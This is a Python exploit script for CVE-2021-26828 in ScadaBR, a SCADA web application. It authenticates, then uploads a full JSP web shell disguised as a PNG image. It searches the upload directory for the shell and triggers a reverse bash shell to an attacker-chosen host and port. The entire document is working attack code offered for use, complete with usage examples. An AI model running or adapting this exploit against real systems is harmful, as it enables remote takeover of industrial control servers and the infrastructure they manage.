#!/usr/bin/python # Exploit Title: Authenticated Arbitrary File Upload (Remote Code Execution) # Google Dork: N/A # Date: 04/21 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://www.scadabr.com.br/ # Software Link: # Version: ScadaBR 1.0, ScadaBR 1.1CE and ScadaBR 1.0 for Linux # Tested on: Debian9,10~Ubuntu16.04 # CVE : CVE-2021-26828 import requests,sys,time if len(sys.argv) <=6: print('[x] Missing arguments ... ') print('[>] Usage: python LinScada_RCE.py ') print('[>] Example: python LinScada_RCE.py 192.168.1.24 8080 admin admin 192.168.1.50 4444') sys.exit(0) else: time.sleep(1) host = sys.argv[1] port = sys.argv[2] user = sys.argv[3] passw = sys.argv[4] rev_host = sys.argv[5] rev_port = sys.argv[6] flag = False LOGIN = 'http://'+host+':'+port+'/ScadaBR/login.htm' PROTECTED_PAGE = 'http://'+host+':'+port+'/ScadaBR/view_edit.shtm' banner = ''' +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ | _________ .___ ____________________ | | / _____/ ____ _____ __| _/____ \______ \______ \ | | \_____ \_/ ___\\__ \ / __ |\__ \ | | _/| _/ | | / \ \___ / __ \_/ /_/ | / __ \| | \| | \ | | /_______ /\___ >____ /\____ |(____ /______ /|____|_ / | | \/ \/ \/ \/ \/ \/ \/ | | | | > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload (CVE-2021-26828) | | > Exploit Author : Fellipe Oliveira | | > Exploit for Linux Systems | +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ ''' def main(): payload = { 'username': user, 'password': passw } print(banner) time.sleep(2) with requests.session() as s: s.post(LOGIN, data=payload) response = s.get(PROTECTED_PAGE) print "[+] Trying to authenticate "+LOGIN+"..." if response.status_code == 200: print "[+] Successfully authenticated! :D~\n" time.sleep(2) else: print "[x] Authentication failed :(" sys.exit(0) burp0_url = "http://"+host+":"+port+"/ScadaBR/view_edit.shtm" burp0_cookies = {"JSESSIONID": "8DF449C72D2F70704B8D997971B4A06B"} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------32124376735876620811763441977", "Origin": "http://"+host+":"+port+"/", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/view_edit.shtm", "Upgrade-Insecure-Requests": "1"} burp0_data = "-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"view.name\"\r\n\r\n\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"view.xid\"\r\n\r\nGV_369755\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"backgroundImageMP\"; filename=\"webshell.jsp\"\r\nContent-Type: image/png\r\n\r\n <%@page import=\"java.lang.*\"%>\n<%@page import=\"java.util.*\"%>\n<%@page import=\"java.io.*\"%>\n<%@page import=\"java.net.*\"%>\n\n<%\nclass StreamConnector extends Thread {\n InputStream is;\n OutputStream os;\n StreamConnector(InputStream is, OutputStream os) {\n this.is = is;\n this.os = os;\n }\n public void run() {\n BufferedReader isr = null;\n BufferedWriter osw = null;\n try {\n isr = new BufferedReader(new InputStreamReader(is));\n osw = new BufferedWriter(new OutputStreamWriter(os));\n char buffer[] = new char[8192];\n int lenRead;\n while ((lenRead = isr.read(buffer, 0, buffer.length)) > 0) {\n osw.write(buffer, 0, lenRead);\n osw.flush();\n }\n } catch (Exception e) {\n System.out.println(\"exception: \" + e.getMessage());\n }\n try {\n if (isr != null)\n isr.close();\n if (osw != null)\n osw.close();\n } catch (Exception e) {\n System.out.println(\"exception: \" + e.getMessage());\n }\n }\n}\n%>\n\n

Payload JSP to Reverse Shell

\n

Run nc -l 1234 on your client (127.0.0.1) and click Connect. This JSP will start a bash shell and connect it to your nc process

\n
\n\tIP Address\n\tPort\n\t\n
\n\n<%\n String ipAddress = request.getParameter(\"ipaddress\");\n String ipPort = request.getParameter(\"port\");\n Socket sock = null;\n Process proc = null;\n if (ipAddress != null && ipPort != null) {\n try {\n sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());\n System.out.println(\"socket created: \" + sock.toString());\n Runtime rt = Runtime.getRuntime();\n proc = rt.exec(\"/bin/bash\");\n System.out.println(\"process /bin/bash started: \" + proc.toString());\n StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream());\n System.out.println(\"outputConnector created: \" + outputConnector.toString());\n StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream());\n System.out.println(\"inputConnector created: \" + inputConnector.toString());\n outputConnector.start();\n inputConnector.start();\n } catch (Exception e) {\n System.out.println(\"exception: \" + e.getMessage());\n }\n }\n if (sock != null && proc != null) {\n out.println(\"
\");\n out.println(\"

Process /bin/bash, running as (\" + proc.toString() + \", is connected to socket \" + sock.toString() + \".

\");\n }\n%>\n\n\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\nUpload image\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"view.anonymousAccess\"\r\n\r\n0\r\n-----------------------------32124376735876620811763441977--\r\n" getdata = s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print('[>] Attempting to upload .jsp Webshell...') time.sleep(1) print('[>] Verifying shell upload...\n') time.sleep(2) if getdata.status_code == 200: print('[+] Upload Successfuly! \n') for num in range(1,1000): PATH = 'http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num) find = s.get(PATH) if find.status_code == 200: print('[+] Webshell Found in: http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num)) print('[>] Spawning Reverse Shell...\n') time.sleep(3) burp0_url = "http://"+host+":"+port+"/ScadaBR/uploads/%d.jsp?ipaddress=%s&port=%s&Connect=Connect" % (num,rev_host,rev_port) burp0_cookies = {"JSESSIONID": "8DF449C72D2F70704B8D997971B4A06B"} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} r = s.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) time.sleep(5) if len(r.text) > 401: print('[+] Connection received') sys.exit(0) else: print('[x] Failed to receive reverse connection ...\n') elif num == 999: print('[x] Failed to found Webshell ... ') else: print('Reason:'+getdata.reason+' ') print('Exploit Failed x_x') if __name__ == '__main__': main()